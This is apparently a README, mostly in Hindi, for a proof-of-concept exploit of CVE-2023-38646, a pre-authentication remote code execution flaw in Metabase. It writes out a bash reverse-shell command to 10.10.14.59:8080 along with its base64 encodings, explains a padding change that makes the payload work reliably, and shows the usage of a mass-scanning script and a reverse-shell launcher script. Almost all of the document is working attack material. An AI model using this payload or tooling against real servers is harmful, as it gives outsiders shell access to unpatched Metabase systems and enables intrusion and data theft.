
CVE-2023-38646 के लिए PoC एक्सप्लॉइट, Metabase में पूर्व-प्रमाणीकरण RCE। इसमें विश्वसनीय शोषण के लिए base64 एन्कोडिंग फिक्स के साथ एक रिवर्स शेल पेलोड जनरेटर शामिल है।
मूल स्क्रिप्ट securezeron से ली गई है।
परीक्षण के दौरान मैंने पाया कि इस POC द्वारा उत्पन्न रिवर्स शेल, base6 एन्कोडिंग के बाद अंत में '=' वर्ण के कारण विफल हो जाता है। मैंने इसे थोड़ा संशोधित करके इस समस्या को हल किया।
#原始的生成reverse shell负载的代码
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
#修改后的生成reverse shell负载的代码没有‘=’
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
└─# python CVE-2023-38646-POC.py -h
usage: CVE-2023-38646-POC.py [-h] [--ip IP] [--list LIST]
Check setup token
options:
-h, --help show this help message and exit
--ip IP IP address
--list LIST Filename containing list of IP addresses
└─# python CVE-2023-38646-Reverse-Shell.py -h
usage: CVE-2023-38646-Reverse-Shell.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT]
Check setup token
options:
-h, --help show this help message and exit
--rhost RHOST Metabase server IP address (including http:// or https:// and port number if needed)
--lhost LHOST Listener IP address
--lport LPORT Listener port (default is 4444)
भेद्यता के बारे में और जानकारी के लिए देखें https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/